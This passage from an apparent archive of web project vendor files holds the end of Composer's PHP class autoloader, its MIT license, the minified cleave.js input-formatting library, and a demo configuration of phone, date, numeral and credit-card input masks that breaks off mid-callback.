            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = (array) $paths;
        }
    }

    /**
     * Turns on searching the include path for class files.
     *
     * @param bool $useIncludePath
     *
     * @return void
     */
    public function setUseIncludePath($useIncludePath)
    {
        $this->useIncludePath = $useIncludePath;
    }

    /**
     * Can be used to check if the autoloader uses the include path to check
     * for classes.
     *
     * @return bool
     */
    public function getUseIncludePath()
    {
        return $this->useIncludePath;
    }

    /**
     * Turns off searching the prefix and fallback directories for classes
     * that have not been registered with the class map.
     *
     * @param bool $classMapAuthoritative
     *
     * @return void
     */
    public function setClassMapAuthoritative($classMapAuthoritative)
    {
        $this->classMapAuthoritative = $classMapAuthoritative;
    }

    /**
     * Should class lookup fail if not found in the current class map?
     *
     * @return bool
     */
    public function isClassMapAuthoritative()
    {
        return $this->classMapAuthoritative;
    }

    /**
     * APCu prefix to use to cache found/not-found classes, if the extension is enabled.
     *
     * @param string|null $apcuPrefix
     *
     * @return void
     */
    public function setApcuPrefix($apcuPrefix)
    {
        $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null;
    }

    /**
     * The APCu prefix in use, or null if APCu caching is not enabled.
     *
     * @return string|null
     */
    public function getApcuPrefix()
    {
        return $this->apcuPrefix;
    }

    /**
     * Registers this instance as an autoloader.
     *
     * @param bool $prepend Whether to prepend the autoloader or not
     *
     * @return void
     */
    public function register($prepend = false)
    {
        spl_autoload_register(array($this, 'loadClass'), true, $prepend);

        if (null === $this->vendorDir) {
            return;
        }

        if ($prepend) {
            self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders;
        } else {
            unset(self::$registeredLoaders[$this->vendorDir]);
            self::$registeredLoaders[$this->vendorDir] = $this;
        }
    }

    /**
     * Unregisters this instance as an autoloader.
     *
     * @return void
     */
    public function unregister()
    {
        spl_autoload_unregister(array($this, 'loadClass'));

        if (null !== $this->vendorDir) {
            unset(self::$registeredLoaders[$this->vendorDir]);
        }
    }

    /**
     * Loads the given class or interface.
     *
     * @param  string    $class The name of the class
     * @return true|null True if loaded, null otherwise
     */
    public function loadClass($class)
    {
        if ($file = $this->findFile($class)) {
            includeFile($file);

            return true;
        }

        return null;
    }

    /**
     * Finds the path to the file where the class is defined.
     *
     * @param string $class The name of the class
     *
     * @return string|false The path if found, false otherwise
     */
    public function findFile($class)
    {
        // class map lookup
        if (isset($this->classMap[$class])) {
            return $this->classMap[$class];
        }
        if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) {
            return false;
        }
        if (null !== $this->apcuPrefix) {
            $file = apcu_fetch($this->apcuPrefix.$class, $hit);
            if ($hit) {
                return $file;
            }
        }

        $file = $this->findFileWithExtension($class, '.php');

        // Search for Hack files if we are running on HHVM
        if (false === $file && defined('HHVM_VERSION')) {
            $file = $this->findFileWithExtension($class, '.hh');
        }

        if (null !== $this->apcuPrefix) {
            apcu_add($this->apcuPrefix.$class, $file);
        }

        if (false === $file) {
            // Remember that this class does not exist.
            $this->missingClasses[$class] = true;
        }

        return $file;
    }

    /**
     * Returns the currently registered loaders indexed by their corresponding vendor directories.
     *
     * @return self[]
     */
    public static function getRegisteredLoaders()
    {
        return self::$registeredLoaders;
    }

    /**
     * @param  string       $class
     * @param  string       $ext
     * @return string|false
     */
    private function findFileWithExtension($class, $ext)
    {
        // PSR-4 lookup
        $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext;

        $first = $class[0];
        if (isset($this->prefixLengthsPsr4[$first])) {
            $subPath = $class;
            while (false !== $lastPos = strrpos($subPath, '\\')) {
                $subPath = substr($subPath, 0, $lastPos);
                $search = $subPath . '\\';
                if (isset($this->prefixDirsPsr4[$search])) {
                    $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1);
                    foreach ($this->prefixDirsPsr4[$search] as $dir) {
                        if (file_exists($file = $dir . $pathEnd)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-4 fallback dirs
        foreach ($this->fallbackDirsPsr4 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) {
                return $file;
            }
        }

        // PSR-0 lookup
        if (false !== $pos = strrpos($class, '\\')) {
            // namespaced class name
            $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
                . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR);
        } else {
            // PEAR-like class name
            $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext;
        }

        if (isset($this->prefixesPsr0[$first])) {
            foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) {
                if (0 === strpos($class, $prefix)) {
                    foreach ($dirs as $dir) {
                        if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-0 fallback dirs
        foreach ($this->fallbackDirsPsr0 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                return $file;
            }
        }

        // PSR-0 include paths.
        if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) {
            return $file;
        }

        return false;
    }
}

/**
 * Scope isolated include.
 *
 * Prevents access to $this/self from included files.
 *
 * @param  string $file
 * @return void
 * @private
 */
function includeFile($file)
{
    include $file;
}
vendor/composer/LICENSE000066600000002056151150442740010707 0ustar00
Copyright (c) Nils Adermann, Jordi Boggiano

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is furnished
to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

vendor/input-masks/cleave.min.js000066600000044050151150442740012705 0ustar00/*!
 * cleave.js - 1.4.10
 * https://github.com/nosir/cleave.js
 * Apache License Version 2.0
 *
 * Copyright (C) 2012-2019 Max Huang https://github.com/nosir/
 */
!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.Cleave=t():e.Cleave=t()}(this,function(){return function(e){function t(i){if(r[i])return r[i].exports;var n=r[i]={exports:{},id:i,loaded:!1};return e[i].call(n.exports,n,n.exports,t),n.loaded=!0,n.exports}var r={};return t.m=e,t.c=r,t.p="",t(0)}([function(e,t,r){(function(t){"use strict";var i=function(e,t){var r=this,n=!1;if("string"==typeof e?(r.element=document.querySelector(e),n=document.querySelectorAll(e).length>1):"undefined"!=typeof e.length&&e.length>0?(r.element=e[0],n=e.length>1):r.element=e,!r.element)throw new Error("[cleave.js] Please check the element");if(n)try{console.warn("[cleave.js] Multiple input fields matched, cleave.js will only take the first one.")}catch(a){}t.initValue=r.element.value,r.properties=i.DefaultProperties.assign({},t),r.init()};i.prototype={init:function(){var e=this,t=e.properties;return t.numeral||t.phone||t.creditCard||t.time||t.date||0!==t.blocksLength||t.prefix?(t.maxLength=i.Util.getMaxLength(t.blocks),e.isAndroid=i.Util.isAndroid(),e.lastInputValue="",e.onChangeListener=e.onChange.bind(e),e.onKeyDownListener=e.onKeyDown.bind(e),e.onFocusListener=e.onFocus.bind(e),e.onCutListener=e.onCut.bind(e),e.onCopyListener=e.onCopy.bind(e),e.element.addEventListener("input",e.onChangeListener),e.element.addEventListener("keydown",e.onKeyDownListener),e.element.addEventListener("focus",e.onFocusListener),e.element.addEventListener("cut",e.onCutListener),e.element.addEventListener("copy",e.onCopyListener),e.initPhoneFormatter(),e.initDateFormatter(),e.initTimeFormatter(),e.initNumeralFormatter(),void((t.initValue||t.prefix&&!t.noImmediatePrefix)&&e.onInput(t.initValue))):void e.onInput(t.initValue)},initNumeralFormatter:function(){var e=this,t=e.properties;t.numeral&&(t.numeralFormatter=new i.NumeralFormatter(t.numeralDecimalMark,t.numeralIntegerScale,t.numeralDecimalScale,t.numeralThousandsGroupStyle,t.numeralPositiveOnly,t.stripLeadingZeroes,t.delimiter))},initTimeFormatter:function(){var e=this,t=e.properties;t.time&&(t.timeFormatter=new i.TimeFormatter(t.timePattern,t.timeFormat),t.blocks=t.timeFormatter.getBlocks(),t.blocksLength=t.blocks.length,t.maxLength=i.Util.getMaxLength(t.blocks))},initDateFormatter:function(){var e=this,t=e.properties;t.date&&(t.dateFormatter=new i.DateFormatter(t.datePattern),t.blocks=t.dateFormatter.getBlocks(),t.blocksLength=t.blocks.length,t.maxLength=i.Util.getMaxLength(t.blocks))},initPhoneFormatter:function(){var e=this,t=e.properties;if(t.phone)try{t.phoneFormatter=new i.PhoneFormatter(new t.root.Cleave.AsYouTypeFormatter(t.phoneRegionCode),t.delimiter)}catch(r){throw new Error("[cleave.js] Please include phone-type-formatter.{country}.js lib")}},onKeyDown:function(e){var t=this,r=t.properties,n=e.which||e.keyCode,a=i.Util,o=t.element.value;t.hasBackspaceSupport=t.hasBackspaceSupport||8===n,!t.hasBackspaceSupport&&a.isAndroidBackspaceKeydown(t.lastInputValue,o)&&(n=8),t.lastInputValue=o;var l=a.getPostDelimiter(o,r.delimiter,r.delimiters);8===n&&l?r.postDelimiterBackspace=l:r.postDelimiterBackspace=!1},onChange:function(){this.onInput(this.element.value)},onFocus:function(){var e=this,t=e.properties;i.Util.fixPrefixCursor(e.element,t.prefix,t.delimiter,t.delimiters)},onCut:function(e){this.copyClipboardData(e),this.onInput("")},onCopy:function(e){this.copyClipboardData(e)},copyClipboardData:function(e){var t=this,r=t.properties,n=i.Util,a=t.element.value,o="";o=r.copyDelimiter?a:n.stripDelimiters(a,r.delimiter,r.delimiters);try{e.clipboardData?e.clipboardData.setData("Text",o):window.clipboardData.setData("Text",o),e.preventDefault()}catch(l){}},onInput:function(e){var t=this,r=t.properties,n=i.Util,a=n.getPostDelimiter(e,r.delimiter,r.delimiters);return r.numeral||!r.postDelimiterBackspace||a||(e=n.headStr(e,e.length-r.postDelimiterBackspace.length)),r.phone?(!r.prefix||r.noImmediatePrefix&&!e.length?r.result=r.phoneFormatter.format(e):r.result=r.prefix+r.phoneFormatter.format(e).slice(r.prefix.length),void t.updateValueState()):r.numeral?(!r.prefix||r.noImmediatePrefix&&!e.length?r.result=r.numeralFormatter.format(e):r.result=r.prefix+r.numeralFormatter.format(e),void t.updateValueState()):(r.date&&(e=r.dateFormatter.getValidatedDate(e)),r.time&&(e=r.timeFormatter.getValidatedTime(e)),e=n.stripDelimiters(e,r.delimiter,r.delimiters),e=n.getPrefixStrippedValue(e,r.prefix,r.prefixLength,r.result,r.delimiter,r.delimiters),e=r.numericOnly?n.strip(e,/[^\d]/g):e,e=r.uppercase?e.toUpperCase():e,e=r.lowercase?e.toLowerCase():e,!r.prefix||r.noImmediatePrefix&&!e.length||(e=r.prefix+e,0!==r.blocksLength)?(r.creditCard&&t.updateCreditCardPropsByValue(e),e=n.headStr(e,r.maxLength),r.result=n.getFormattedValue(e,r.blocks,r.blocksLength,r.delimiter,r.delimiters,r.delimiterLazyShow),void t.updateValueState()):(r.result=e,void t.updateValueState()))},updateCreditCardPropsByValue:function(e){var t,r=this,n=r.properties,a=i.Util;a.headStr(n.result,4)!==a.headStr(e,4)&&(t=i.CreditCardDetector.getInfo(e,n.creditCardStrictMode),n.blocks=t.blocks,n.blocksLength=n.blocks.length,n.maxLength=a.getMaxLength(n.blocks),n.creditCardType!==t.type&&(n.creditCardType=t.type,n.onCreditCardTypeChanged.call(r,n.creditCardType)))},updateValueState:function(){var e=this,t=i.Util,r=e.properties;if(e.element){var n=e.element.selectionEnd,a=e.element.value,o=r.result;if(n=t.getNextCursorPosition(n,a,o,r.delimiter,r.delimiters),e.isAndroid)return void window.setTimeout(function(){e.element.value=o,t.setSelection(e.element,n,r.document,!1),e.callOnValueChanged()},1);e.element.value=o,t.setSelection(e.element,n,r.document,!1),e.callOnValueChanged()}},callOnValueChanged:function(){var e=this,t=e.properties;t.onValueChanged.call(e,{target:{value:t.result,rawValue:e.getRawValue()}})},setPhoneRegionCode:function(e){var t=this,r=t.properties;r.phoneRegionCode=e,t.initPhoneFormatter(),t.onChange()},setRawValue:function(e){var t=this,r=t.properties;e=void 0!==e&&null!==e?e.toString():"",r.numeral&&(e=e.replace(".",r.numeralDecimalMark)),r.postDelimiterBackspace=!1,t.element.value=e,t.onInput(e)},getRawValue:function(){var e=this,t=e.properties,r=i.Util,n=e.element.value;return t.rawValueTrimPrefix&&(n=r.getPrefixStrippedValue(n,t.prefix,t.prefixLength,t.result,t.delimiter,t.delimiters)),n=t.numeral?t.numeralFormatter.getRawValue(n):r.stripDelimiters(n,t.delimiter,t.delimiters)},getISOFormatDate:function(){var e=this,t=e.properties;return t.date?t.dateFormatter.getISOFormatDate():""},getISOFormatTime:function(){var e=this,t=e.properties;return t.time?t.timeFormatter.getISOFormatTime():""},getFormattedValue:function(){return this.element.value},destroy:function(){var e=this;e.element.removeEventListener("input",e.onChangeListener),e.element.removeEventListener("keydown",e.onKeyDownListener),e.element.removeEventListener("focus",e.onFocusListener),e.element.removeEventListener("cut",e.onCutListener),e.element.removeEventListener("copy",e.onCopyListener)},toString:function(){return"[Cleave Object]"}},i.NumeralFormatter=r(1),i.DateFormatter=r(2),i.TimeFormatter=r(3),i.PhoneFormatter=r(4),i.CreditCardDetector=r(5),i.Util=r(6),i.DefaultProperties=r(7),("object"==typeof t&&t?t:window).Cleave=i,e.exports=i}).call(t,function(){return this}())},function(e,t){"use strict";var r=function(e,t,i,n,a,o,l){var s=this;s.numeralDecimalMark=e||".",s.numeralIntegerScale=t>0?t:0,s.numeralDecimalScale=i>=0?i:2,s.numeralThousandsGroupStyle=n||r.groupStyle.thousand,s.numeralPositiveOnly=!!a,s.stripLeadingZeroes=o!==!1,s.delimiter=l||""===l?l:",",s.delimiterRE=l?new RegExp("\\"+l,"g"):""};r.groupStyle={thousand:"thousand",lakh:"lakh",wan:"wan",none:"none"},r.prototype={getRawValue:function(e){return e.replace(this.delimiterRE,"").replace(this.numeralDecimalMark,".")},format:function(e){var t,i,n=this,a="";switch(e=e.replace(/[A-Za-z]/g,"").replace(n.numeralDecimalMark,"M").replace(/[^\dM-]/g,"").replace(/^\-/,"N").replace(/\-/g,"").replace("N",n.numeralPositiveOnly?"":"-").replace("M",n.numeralDecimalMark),n.stripLeadingZeroes&&(e=e.replace(/^(-)?0+(?=\d)/,"$1")),i=e,e.indexOf(n.numeralDecimalMark)>=0&&(t=e.split(n.numeralDecimalMark),i=t[0],a=n.numeralDecimalMark+t[1].slice(0,n.numeralDecimalScale)),n.numeralIntegerScale>0&&(i=i.slice(0,n.numeralIntegerScale+("-"===e.slice(0,1)?1:0))),n.numeralThousandsGroupStyle){case r.groupStyle.lakh:i=i.replace(/(\d)(?=(\d\d)+\d$)/g,"$1"+n.delimiter);break;case r.groupStyle.wan:i=i.replace(/(\d)(?=(\d{4})+$)/g,"$1"+n.delimiter);break;case r.groupStyle.thousand:i=i.replace(/(\d)(?=(\d{3})+$)/g,"$1"+n.delimiter)}return i.toString()+(n.numeralDecimalScale>0?a.toString():"")}},e.exports=r},function(e,t){"use strict";var r=function(e){var t=this;t.date=[],t.blocks=[],t.datePattern=e,t.initBlocks()};r.prototype={initBlocks:function(){var e=this;e.datePattern.forEach(function(t){"Y"===t?e.blocks.push(4):e.blocks.push(2)})},getISOFormatDate:function(){var e=this,t=e.date;return t[2]?t[2]+"-"+e.addLeadingZero(t[1])+"-"+e.addLeadingZero(t[0]):""},getBlocks:function(){return this.blocks},getValidatedDate:function(e){var t=this,r="";return e=e.replace(/[^\d]/g,""),t.blocks.forEach(function(i,n){if(e.length>0){var a=e.slice(0,i),o=a.slice(0,1),l=e.slice(i);switch(t.datePattern[n]){case"d":"00"===a?a="01":parseInt(o,10)>3?a="0"+o:parseInt(a,10)>31&&(a="31");break;case"m":"00"===a?a="01":parseInt(o,10)>1?a="0"+o:parseInt(a,10)>12&&(a="12")}r+=a,e=l}}),this.getFixedDateString(r)},getFixedDateString:function(e){var t,r,i,n=this,a=n.datePattern,o=[],l=0,s=0,c=0,u=0,d=0,m=0,p=!1;return 4===e.length&&"y"!==a[0].toLowerCase()&&"y"!==a[1].toLowerCase()&&(u="d"===a[0]?0:2,d=2-u,t=parseInt(e.slice(u,u+2),10),r=parseInt(e.slice(d,d+2),10),o=this.getFixedDate(t,r,0)),8===e.length&&(a.forEach(function(e,t){switch(e){case"d":l=t;break;case"m":s=t;break;default:c=t}}),m=2*c,u=l<=c?2*l:2*l+2,d=s<=c?2*s:2*s+2,t=parseInt(e.slice(u,u+2),10),r=parseInt(e.slice(d,d+2),10),i=parseInt(e.slice(m,m+4),10),p=4===e.slice(m,m+4).length,o=this.getFixedDate(t,r,i)),n.date=o,0===o.length?e:a.reduce(function(e,t){switch(t){case"d":return e+n.addLeadingZero(o[0]);case"m":return e+n.addLeadingZero(o[1]);default:return e+(p?n.addLeadingZeroForYear(o[2]):"")}},"")},getFixedDate:function(e,t,r){return e=Math.min(e,31),t=Math.min(t,12),r=parseInt(r||0,10),(t<7&&t%2===0||t>8&&t%2===1)&&(e=Math.min(e,2===t?this.isLeapYear(r)?29:28:30)),[e,t,r]},isLeapYear:function(e){return e%4===0&&e%100!==0||e%400===0},addLeadingZero:function(e){return(e<10?"0":"")+e},addLeadingZeroForYear:function(e){return(e<10?"000":e<100?"00":e<1e3?"0":"")+e}},e.exports=r},function(e,t){"use strict";var r=function(e,t){var r=this;r.time=[],r.blocks=[],r.timePattern=e,r.timeFormat=t,r.initBlocks()};r.prototype={initBlocks:function(){var e=this;e.timePattern.forEach(function(){e.blocks.push(2)})},getISOFormatTime:function(){var e=this,t=e.time;return t[2]?e.addLeadingZero(t[0])+":"+e.addLeadingZero(t[1])+":"+e.addLeadingZero(t[2]):""},getBlocks:function(){return this.blocks},getTimeFormatOptions:function(){var e=this;return"12"===String(e.timeFormat)?{maxHourFirstDigit:1,maxHours:12,maxMinutesFirstDigit:5,maxMinutes:60}:{maxHourFirstDigit:2,maxHours:23,maxMinutesFirstDigit:5,maxMinutes:60}},getValidatedTime:function(e){var t=this,r="";e=e.replace(/[^\d]/g,"");var i=t.getTimeFormatOptions();return t.blocks.forEach(function(n,a){if(e.length>0){var o=e.slice(0,n),l=o.slice(0,1),s=e.slice(n);switch(t.timePattern[a]){case"h":parseInt(l,10)>i.maxHourFirstDigit?o="0"+l:parseInt(o,10)>i.maxHours&&(o=i.maxHours+"");break;case"m":case"s":parseInt(l,10)>i.maxMinutesFirstDigit?o="0"+l:parseInt(o,10)>i.maxMinutes&&(o=i.maxMinutes+"")}r+=o,e=s}}),this.getFixedTimeString(r)},getFixedTimeString:function(e){var t,r,i,n=this,a=n.timePattern,o=[],l=0,s=0,c=0,u=0,d=0,m=0;return 6===e.length&&(a.forEach(function(e,t){switch(e){case"s":l=2*t;break;case"m":s=2*t;break;case"h":c=2*t}}),m=c,d=s,u=l,t=parseInt(e.slice(u,u+2),10),r=parseInt(e.slice(d,d+2),10),i=parseInt(e.slice(m,m+2),10),o=this.getFixedTime(i,r,t)),4===e.length&&n.timePattern.indexOf("s")<0&&(a.forEach(function(e,t){switch(e){case"m":s=2*t;break;case"h":c=2*t}}),m=c,d=s,t=0,r=parseInt(e.slice(d,d+2),10),i=parseInt(e.slice(m,m+2),10),o=this.getFixedTime(i,r,t)),n.time=o,0===o.length?e:a.reduce(function(e,t){switch(t){case"s":return e+n.addLeadingZero(o[2]);case"m":return e+n.addLeadingZero(o[1]);case"h":return e+n.addLeadingZero(o[0])}},"")},getFixedTime:function(e,t,r){return r=Math.min(parseInt(r||0,10),60),t=Math.min(t,60),e=Math.min(e,60),[e,t,r]},addLeadingZero:function(e){return(e<10?"0":"")+e}},e.exports=r},function(e,t){"use strict";var r=function(e,t){var r=this;r.delimiter=t||""===t?t:" ",r.delimiterRE=t?new RegExp("\\"+t,"g"):"",r.formatter=e};r.prototype={setFormatter:function(e){this.formatter=e},format:function(e){var t=this;t.formatter.clear(),e=e.replace(/[^\d+]/g,""),e=e.replace(/^\+/,"B").replace(/\+/g,"").replace("B","+"),e=e.replace(t.delimiterRE,"");for(var r,i="",n=!1,a=0,o=e.length;a<o;a++)r=t.formatter.inputDigit(e.charAt(a)),/[\s()-]/g.test(r)?(i=r,n=!0):n||(i=r);return i=i.replace(/[()]/g,""),i=i.replace(/[\s-]/g,t.delimiter)}},e.exports=r},function(e,t){"use strict";var r={blocks:{uatp:[4,5,6],amex:[4,6,5],diners:[4,6,4],discover:[4,4,4,4],mastercard:[4,4,4,4],dankort:[4,4,4,4],instapayment:[4,4,4,4],jcb15:[4,6,5],jcb:[4,4,4,4],maestro:[4,4,4,4],visa:[4,4,4,4],mir:[4,4,4,4],unionPay:[4,4,4,4],general:[4,4,4,4],generalStrict:[4,4,4,7]},re:{uatp:/^(?!1800)1\d{0,14}/,amex:/^3[47]\d{0,13}/,discover:/^(?:6011|65\d{0,2}|64[4-9]\d?)\d{0,12}/,diners:/^3(?:0([0-5]|9)|[689]\d?)\d{0,11}/,mastercard:/^(5[1-5]\d{0,2}|22[2-9]\d{0,1}|2[3-7]\d{0,2})\d{0,12}/,dankort:/^(5019|4175|4571)\d{0,12}/,instapayment:/^63[7-9]\d{0,13}/,jcb15:/^(?:2131|1800)\d{0,11}/,jcb:/^(?:35\d{0,2})\d{0,12}/,maestro:/^(?:5[0678]\d{0,2}|6304|67\d{0,2})\d{0,12}/,mir:/^220[0-4]\d{0,12}/,visa:/^4\d{0,15}/,unionPay:/^62\d{0,14}/},getInfo:function(e,t){var i=r.blocks,n=r.re;t=!!t;for(var a in n)if(n[a].test(e)){var o;return o=t?i.generalStrict:i[a],{type:a,blocks:o}}return{type:"unknown",blocks:t?i.generalStrict:i.general}}};e.exports=r},function(e,t){"use strict";var r={noop:function(){},strip:function(e,t){return e.replace(t,"")},getPostDelimiter:function(e,t,r){if(0===r.length)return e.slice(-t.length)===t?t:"";var i="";return r.forEach(function(t){e.slice(-t.length)===t&&(i=t)}),i},getDelimiterREByDelimiter:function(e){return new RegExp(e.replace(/([.?*+^$[\]\\(){}|-])/g,"\\$1"),"g")},getNextCursorPosition:function(e,t,r,i,n){return t.length===e?r.length:e+this.getPositionOffset(e,t,r,i,n)},getPositionOffset:function(e,t,r,i,n){var a,o,l;return a=this.stripDelimiters(t.slice(0,e),i,n),o=this.stripDelimiters(r.slice(0,e),i,n),l=a.length-o.length,0!==l?l/Math.abs(l):0},stripDelimiters:function(e,t,r){var i=this;if(0===r.length){var n=t?i.getDelimiterREByDelimiter(t):"";return e.replace(n,"")}return r.forEach(function(t){t.split("").forEach(function(t){e=e.replace(i.getDelimiterREByDelimiter(t),"")})}),e},headStr:function(e,t){return e.slice(0,t)},getMaxLength:function(e){return e.reduce(function(e,t){return e+t},0)},getPrefixStrippedValue:function(e,t,r,i,n,a){if(0===r)return e;if(i.slice(0,r)!==t)return"";var o=this.stripDelimiters(i,n,a);return e.slice(0,r)!==t?o.slice(r):e.slice(r)},getFirstDiffIndex:function(e,t){for(var r=0;e.charAt(r)===t.charAt(r);)if(""===e.charAt(r++))return-1;return r},getFormattedValue:function(e,t,r,i,n,a){var o,l="",s=n.length>0;return 0===r?e:(t.forEach(function(t,c){if(e.length>0){var u=e.slice(0,t),d=e.slice(t);o=s?n[a?c-1:c]||o:i,a?(c>0&&(l+=o),l+=u):(l+=u,u.length===t&&c<r-1&&(l+=o)),e=d}}),l)},fixPrefixCursor:function(e,t,r,i){if(e){var n=e.value,a=r||i[0]||" ";if(e.setSelectionRange&&t&&!(t.length+a.length<n.length)){var o=2*n.length;setTimeout(function(){e.setSelectionRange(o,o)},1)}}},setSelection:function(e,t,r){if(e===this.getActiveElement(r)&&!(e&&e.value.length<=t))if(e.createTextRange){var i=e.createTextRange();i.move("character",t),i.select()}else try{e.setSelectionRange(t,t)}catch(n){console.warn("The input element type does not support selection")}},getActiveElement:function(e){var t=e.activeElement;return t&&t.shadowRoot?this.getActiveElement(t.shadowRoot):t},isAndroid:function(){return navigator&&/android/i.test(navigator.userAgent)},isAndroidBackspaceKeydown:function(e,t){return!!(this.isAndroid()&&e&&t)&&t===e.slice(0,-1)}};e.exports=r},function(e,t){(function(t){"use strict";var r={assign:function(e,r){return e=e||{},r=r||{},e.creditCard=!!r.creditCard,e.creditCardStrictMode=!!r.creditCardStrictMode,e.creditCardType="",e.onCreditCardTypeChanged=r.onCreditCardTypeChanged||function(){},e.phone=!!r.phone,e.phoneRegionCode=r.phoneRegionCode||"AU",e.phoneFormatter={},e.time=!!r.time,e.timePattern=r.timePattern||["h","m","s"],e.timeFormat=r.timeFormat||"24",e.timeFormatter={},e.date=!!r.date,e.datePattern=r.datePattern||["d","m","Y"],e.dateFormatter={},e.numeral=!!r.numeral,e.numeralIntegerScale=r.numeralIntegerScale>0?r.numeralIntegerScale:0,e.numeralDecimalScale=r.numeralDecimalScale>=0?r.numeralDecimalScale:2,e.numeralDecimalMark=r.numeralDecimalMark||".",e.numeralThousandsGroupStyle=r.numeralThousandsGroupStyle||"thousand",e.numeralPositiveOnly=!!r.numeralPositiveOnly,e.stripLeadingZeroes=r.stripLeadingZeroes!==!1,e.numericOnly=e.creditCard||e.date||!!r.numericOnly,e.uppercase=!!r.uppercase,e.lowercase=!!r.lowercase,e.prefix=e.creditCard||e.date?"":r.prefix||"",e.noImmediatePrefix=!!r.noImmediatePrefix,e.prefixLength=e.prefix.length,e.rawValueTrimPrefix=!!r.rawValueTrimPrefix,e.copyDelimiter=!!r.copyDelimiter,e.initValue=void 0!==r.initValue&&null!==r.initValue?r.initValue.toString():"",e.delimiter=r.delimiter||""===r.delimiter?r.delimiter:r.date?"/":r.time?":":r.numeral?",":(r.phone," "),e.delimiterLength=e.delimiter.length,e.delimiterLazyShow=!!r.delimiterLazyShow,e.delimiters=r.delimiters||[],e.blocks=r.blocks||[],e.blocksLength=e.blocks.length,e.root="object"==typeof t&&t?t:window,e.document=r.document||e.root.document,e.maxLength=0,e.backspace=!1,e.result="",e.onValueChanged=r.onValueChanged||function(){},e}};e.exports=r}).call(t,function(){return this}())}])});vendor/input-masks/cleave-custom.js000066600000003235151150442740013433 0ustar00var cleave = new Cleave('#phone-format-us', {
	phone: true,
	phoneRegionCode: 'US'
});

var cleave = new Cleave('#phone-format-in', {
	phone: true,
	phoneRegionCode: 'IN'
});

var cleave = new Cleave('#phone-format-br', {
	phone: true,
	phoneRegionCode: 'BR'
});


var cleave = new Cleave('#date-formatting', {
	date: true,
	delimiter: '-',
	datePattern: ['Y', 'm', 'd']
});


var cleave = new Cleave('#date-formatting2', {
	date: true,
	datePattern: ['m', 'y']
});



var cleave = new Cleave('#time-formatting', {
	time: true,
	timePattern: ['h', 'm', 's']
});



var cleave = new Cleave('#time-formatting2', {
	time: true,
	timePattern: ['h', 'm']
});



var cleaveG = new Cleave('#input-numeral-thousand', {
	numeral: true,
	numeralThousandsGroupStyle: 'thousand'
});



var cleaveG = new Cleave('#input-numeral-lakh', {
	numeral: true,
	numeralThousandsGroupStyle: 'lakh'
});



var cleave = new Cleave('#input-blocks', {
	blocks: [4, 3, 3, 4],
	uppercase: true
});



var cleave = new Cleave('#input-delimiter', {
	delimiter: '·',
	blocks: [3, 3, 3],
	uppercase: true
});



var cleave = new Cleave('#input-delimiter2', {
	delimiters: ['.', '.', '-'],
	blocks: [3, 3, 3, 2],
	uppercase: true
});



var cleave = new Cleave('#input-prefix', {
	prefix: 'PREFIX',
	delimiter: '-',
	blocks: [6, 4, 4, 4],
	uppercase: true
});



var cleave = new Cleave('#input-credit-card', {
	creditCard: true,
	onCreditCardTypeChanged: function (type) {
		console.log(type)
		var card = $('#creditCardType').find('.'+type);

		if(card.length) {
			card.addClass('highlight');
			card.siblings().removeClass('highlight');
		} else {
			$('#creditCardType .credit-card').removeClass('highlight');
		}
	}
